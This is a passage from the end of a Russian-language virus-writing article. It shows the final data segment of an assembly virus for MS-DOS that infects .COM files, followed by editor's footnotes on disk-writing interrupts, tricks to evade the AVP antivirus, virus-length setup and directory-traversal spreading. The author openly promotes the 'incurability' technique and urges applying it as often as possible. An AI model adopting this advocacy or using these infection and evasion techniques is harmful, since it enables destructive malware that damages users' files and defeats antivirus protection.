;----------------------------------------------
file1 db '*.com',0 ; Данные, которые входят в теле вируса
addr dw ? ;
orig_bytes db 0b4h ;
buff db 0,0,0 ;
fuck db 0e8h ;
size1 dw 0 ;
;----------------------------------------------
finish:
try db ? ; А эти данные временные и в тело вируса не
new_dta db 43 dup(?) ; входят
cseg ends
end start
;----------------------------------------------
Представленный выше вирус является простейшим примером применения технологии неизлечимости. Как уже было сказано, данная технология очень перспективна. Так что применять ее необходимо как можно чаще.
Для изучения и лечения данного вида вирусов необходимо затратить немало времени на их анализ. Написание же антивируса это, вообще говрря, не простая задача.
1 Данные четыре байта соответствуют командам ассемблера mov bx,si / int 26h — Прим. ред.
2 Имеется в виду исполнимый ЕХЕ файл для ОС MS DOS. — Прим. ред.
3 Команды db 068h / dw OFFSET @avp есть не что иное, как одна команда «push offset avp» и переход на следующую после нее инструкцию (с помощью ret). Последние несколько версий AVP уже умеют обрабатывать такие ситуации. — Прим. ред.
4 Операционная система MS DOS сама распознает формат исполнимого файла. — Прим. ред.
5 При этом, если в каталоге существовал файл vasya.tmp с другим содержимым — он будет уничтожен. — Прим.ред.
6 Очевидно, что в данном случае длина вируса определяется вручную. Для этого программа компилируется со строкой virlen:=0. Затем определяется размер получившегося исполнимого ЕХЕ-модуля и программа перекомпилируется с virlen:=длине_получившегося_на_первом_шаге_файла. — Прим. ред.
7 Вирус, который еще не успел начать паразитировать, в отечественной компьютерной вирусологии еще называются «личинкой» с легкой руки одного из вирусмейкеров. — Прим.ред.
8 Название dot-dot происходит от использования двух точек «..» в качестве имени каталога для перехода — в ОС MS DOS они обозначают каталог верхнего уровня. — Прим.ред.
9 Эта особенность присуща только данному описываемому типу вирусов, поскольку в алгоритме размножения для копирования используется буфер размером всего лишь 64 KB — Прим.ред.
10 Имеются ввиду отладчики 8086, не имеющие режимов эмуляции и поддержки аппаратных регистров отладки. — Прим. ред.
11 Автор использует редкоупотребляемый термин, обозначающий в данном контексте единство структуры вируса, но возможность сокрытия его под различными шифровыходами. — Прим.ред.
12 От англ. virmaker — вирусописатель. — Прим.ред.
[
Вернуться к списку] [
Комментарии (1)]